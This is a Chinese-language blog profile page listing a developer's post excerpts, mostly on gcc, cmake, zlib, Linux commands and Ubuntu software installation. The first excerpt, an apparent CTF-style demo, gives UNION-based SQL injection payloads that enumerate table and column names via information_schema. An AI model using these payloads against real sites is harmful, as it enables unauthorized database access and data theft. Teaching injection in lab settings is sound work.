- 博客(55)
- 资源 (4)
- 收藏
- 关注
原创 网络安全sql注入实战演示
id=1 and 1=2 union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database()---表名。id=1 and 1=2 union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name="flag"---列名。
2024-06-15 09:54:32
487
原创 强类型枚举(枚举类)
C++11引入了强类型枚举(strongly-typed enums),也称为枚举类(enum classes)。它们与传统的C++枚举(enum)相比,提供了更好的类型安全和代码的可读性。强类型枚举的值不属于其枚举类型的转换作用域,这意味着它们不会自动转换为整数类型,也不会与整数类型自动比较。
2024-05-05 21:18:33
438
原创 zlib压缩库
描述:一个非常漂亮但又不显眼的压缩库。官网:zlib Home Sitegithub:https://github.com/madler/zlib版本:v1.2.12编译方法:./configure; make test;make install默认生成库和头文件目录:/usr/local/lib /usr/local/include库:libz.so.1.2.12 libz.a头文件:zconf.h zlib.h集成demo:#include<iostream&
2022-04-17 22:55:58
757
原创 chrome浏览器查看cookie方法
方法一:F12,Network,Doc,Headers,Request Headers,cookie: 方法二:F12,Console,在命令框内输入:document.cookie,显示返回;chrome 版本:96.0.4664.110(正式版本) (32 位)
2022-01-03 23:11:45
37459
转载 linux c++获取进程对应的cpu占用率和内存占用情况
转载来源:https://blog.youkuaiyun.com/thedarkfairytale/article/details/71079218背景说明:刚好有个项目上因为不合理的内存占用导致整个系统SSH不能登录,所有需要个监控工具定时记录相关信息。编译命令:gcc -std=c++11 main.cpp启动命令:./a.out 进程名字输出结果:pid=3259pcpu=1.23...
2019-03-27 00:15:10
4458
1
原创 网络字节序和主机字节序(大端/小端)
(一)背景介绍不同的CPU具有不同的字节序类型,这些字节序是指整数在内存中的保存顺序。最常见的有有两种:(1)little endian:小端,将低位字节保存在低位地址。(2)big endian:大端,将高位字节保存在低位地址。例子:如果我们将0x1234abcd写入到以0x0000开始的内存中,则结果为: big-endianlittle-endian0x0...
2019-03-26 00:36:57
9107
原创 gcc编译命令
一、单文件编译1、无选项自动编译链接命令:gcc main.cpp作用:将main.cpp预处理、汇编、编译并链接生成可执行文件。默认输出为a.out。2、-o(小写)命令:gcc main.cpp -o demo作用:将main.cpp预处理、汇编、编译并链接生成可执行文件demo。-o选项用来指定输出文件的文件名。3、-E命令:gcc -E main.cpp -...
2019-03-20 00:16:46
4010
原创 gcc和g++的区别
一、编译的四个阶段1、预处理:编译处理宏定义等宏命令,生成后缀为.i的文件。2、编译:将预处理后的文件转换成汇编语言,生成后缀为.s的文件。3、汇编:由汇编生成的文件翻译为二进制目标文件,生成后缀为.o的文件。4、链接:将多个目标文件(二进制)结合库函数等综合成的能直接独立执行的执行文件,生成后缀为.out的文件。二、主要区别1、对于.c和.cpp文件,gc...
2019-03-19 23:34:36
300
原创 cmake入门实战基础
项目实例目录结构:主要实现了包含了项目内部生成的库,同时又依赖了外部三方的库。├── bin│ └── demo_cmake├── build├── CMakeLists.txt├── inc│ └── MathCommon.h├── lib│ ├── libMathCommon.so│ └── libMathFunctions.a├── lib_extern...
2019-03-10 21:48:57
247
原创 inner_product函数实现向量内积矩阵乘法
头文件:#include<numeric>函数定义:std::inner_product(begin1,end1,begin2,init)功能说明:计算两个vector的内积,这个函数模板有 4 个参数:前两个参数是定义第 1 个 vector 的输入迭代器,第 3 个参数是确定第 2 个 vector 的开始输入迭代器,第 4 个参数是和的初值。算法会返回 vector 的内...
2019-03-01 00:08:35
2127
原创 linux的stat函数用法(获取文件属性)
表头文件: #include <sys/stat.h> #include <unistd.h>定义函数: int stat(const char *file_name, struct stat *buf);函数说明: 通过文件名filename获取文件信息,并保存在buf所指的结构体stat中返回值:...
2019-02-28 00:57:23
1548
原创 linux下readlink函数的基本用法(获取程序运行路径)
头文件: #include <unistd.h>定义函数:intreadlink(constchar *path,char *buf, size_tbufsiz);函数说明:readlink()会将参数path的符号连接内容到参数buf所指的内存空间,返回的内容不是以NULL作字符串结尾,但会将字符串的字符数返回。若参数bufsiz小于符号连接的内容长度,过长的...
2019-02-26 23:34:01
4026
原创 linux的ctrl键组合功能
1:+a光标移到行首2:+e光标移到行尾3:+b光标向左移动一个字符位置4:+f光标向右移动一个字符位置5:+u删除光标之前的字符(不包括光标所在字符)6:+k删除光标之后的字符(包括光标所在字符)7:+y粘贴刚才删除的字符8:+n显示下一个命令9:+p显示上一个命令10:+l清屏11:+r搜索之前输入过的命令12:+t交换光标所在和前一个字符位置...
2018-04-22 19:12:05
2095
原创 ubuntu16.04安装福昕阅读器FoxitReader
1:下载地址https://www.foxitsoftware.cn/downloads/2:解压tar -xvzf FoxitReader2.4.1.0609_Server_x64_enu_Setup.run.tar.gz3:安装./FoxitReader.enu.setup.2.4.1.0609(r08f07f8).x64.run
2018-04-22 16:02:51
3611
原创 linux下的压缩和解压命令(tar+zip)
tar –cvf jpg.tar *.jpg // 将目录里所有jpg文件打包成jpg.tartar –cvzf jpg.tar.gz *.jpg // 将目录里所有jpg文件打包成jpg.tar后,并且将其用gzip压缩,生成一个gzip压缩过的包,命名为jpg.tar.gztar –xvf file.tar // 解压 tar包tar -zxvf file.tar.gz ...
2018-04-22 15:04:41
954
原创 ubuntu16.04安装eclipse
1:下载eclipsehttp://www.eclipse.org/downloads/index-developer.php2:解压文件tar -zxvf eclipse-cpp-oxygen-3a-linux-gtk-x86_64.tar.gz3:启动eclipse解压目录下手动执行./eclipse.sh4:创建启动快捷方式sudo gedit /usr/share/applications...
2018-04-22 14:16:08
1385
原创 ubuntu16.04安装codeblocks
sudo add-apt-repository ppa:damien-moore/codeblocks-stablesudo apt-get updatesudo apt-get install codeblocks
2018-04-22 13:05:53
2683
转载 windows+ubuntu16.04双系统安装教程
https://blog.youkuaiyun.com/flyyufenfei/article/details/79187656
2018-04-18 23:37:20
1997
转载 ubuntu16.04安装pycharm
https://blog.youkuaiyun.com/zhuanshu666/article/details/73554885先在PyCharm官网下载安装包链接:https://www.jetbrains.com/pycharm/download/#section=linux选择对应的操作系统linux,选择社区版community,直接下载。下载完成后,安装包在Downloads文件夹下。右键安装包,点...
2018-04-18 23:35:29
388
原创 python input和raw_input
python 3.x已经丢弃了raw_input,只保留了inputpython 2.x才有input和raw_input1 x=raw_input("please input a number:")2 y=raw_input("please input a number:")3 if x>=y:4 print x5 else:6 print y该段代码是比较两个数...
2018-04-18 00:01:06
254
原创 ubuntu16.04安装xmind
1:xmind官方下载地址http://www.xmind.net/download/linux/2:下载完成后解压到制定目录下mkdir xmind-8-update7-linuxunzip xmind-8-update7-linux.zip -d xmind-8-update7-linuxchmod -R 777 xmind-8-update7-linux3:安装相关依赖执行解压目录下的./s...
2018-04-15 00:11:19
4094
原创 ubuntu16.04安装截图软件shutter
https://blog.youkuaiyun.com/hanshileiai/article/details/468437131:添加安装包软件源sudo add-apt-repository ppa:shutter/ppa2:更新源sudo apt-get update3:安装sudo apt-get install shutter如果出现安装失败,提示错误类似Writing more data than...
2018-04-12 23:08:28
980
转载 ubuntu16.04安装有道词典youdao-dict
https://blog.youkuaiyun.com/zhuiqiuk/article/details/53645023 今天在Ubuntu16.04下尝试安装有道词典官网下载:http://cidian.youdao.com/index-linux.html默认支持14.10及以上,14.04用户需要在安...
2018-04-12 22:04:39
1417
原创 ubuntu16.04安装docky
https://www.linuxidc.com/Linux/2014-06/103546.htmDocky 是一款类似于 MAC OS X 底部启动器的软件程序。同时,它可显示天气预报提供了一大堆 docklets,时钟和CPU使用情况,在某种程度上类似于 AWN 和 cairo-dock。sudo add-apt-repository ppa:ricotz/dockysudo apt-get ...
2018-04-11 23:58:21
5901
原创 linux基础运维管理命令
1:netstat -antp | grep port查询端口的使用情况2:lsof -i:port查询使用该端口的的进程pid3:ps -fe | grep pid使用ps工具查询进程详情4:scp localpath user@host:path将本地localpath指向的文件上传到远程主机的path路径5:scp -r user@host:path localpath遍历下载path路径下...
2018-04-10 00:32:51
236
原创 ubuntu 16.04安装wps办公软件
1:下载wps安装包官网地址:http://community.wps.cn/download/链接: https://pan.baidu.com/s/19MSZs5FkgyO7ryfZOZ8ueQ 密码: 5fad2:执行安装命令sudo dpkg -i wps-office_10.1.0.5672~a21_amd64.deb3:解决启动时提示字体缺失问题具体操作步骤如下:1. 下载缺失的字体文...
2018-04-08 23:29:20
2211
原创 windows和linux的换行符^M转换和删除
问题现象:Windows下的文本文件换行符是\r\n,Linux下的换行符是\n,在Linux下vim打开Windows的文本文件,在行尾会显示^M字符,影响配置文件的阅读,严重的会影响shell脚本的运行。问题确认:1:file filename可以提示文件中存在CRLF符号。2:cat -v filename可以显示文件中的全部^M字符。3:windows notepad打开文件,视图,显示全...
2018-04-08 22:45:44
7550
2
转载 apt-get常用命令及工作原理
https://blog.youkuaiyun.com/mosquito_zm/article/details/63684608一,什么的是apt-get高级包装工具(英语:Advanced Packaging Tools,简称:APT)是Debian及其衍生发行版(如:ubuntu)的软件包管理器。APT可以自动下载,配置,安装二进制或者源代码格式的软 件包,因此简化了 Unix系统上管理软件的过程,apt...
2018-04-03 00:07:52
318
原创 采用rand生成随机数方法
我们知道rand()函数可以用来产生随机数,但是这不是真正意义上的随机数,是一个伪随机数,是根据一个数(我们可以称它为种子)为基准以某个递推公式推算出来的一系列数,当这系列数很大的时候,就符合正态公布,从而相当于产生了随机数,但这不是真正的随机数,当计算机正常开机后,这个种子的值是定了的,除非你破坏了系统。1.rand()功能:随机数发生器用法:int rand
2017-08-13 17:51:11
3584
转载 最近点对问题
http://blog.youkuaiyun.com/lonelycatcher/article/details/7973046/在二维平面上的n个点中,如何快速的找出最近的一对点,就是最近点对问题。 一种简单的想法是暴力枚举每两个点,记录最小距离,显然,时间复杂度为O(n^2)。 在这里介绍一种时间复杂度为O(nlognlogn)的算法。其实,这里用到了分治的思想。将
2017-07-10 23:33:26
580
原创 Windows获取系统当前时区的两种方法
1、Windows c++ 方法int CTimeRyan::GetLocalTimeZoneByCPP(){ TIME_ZONE_INFORMATION tmp; GetTimeZoneInformation(&tmp); return tmp.Bias/(-60);}2、Windows c 方法int CTimeRyan::GetLocalTimeZoneByC
2017-06-26 23:29:29
6549
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人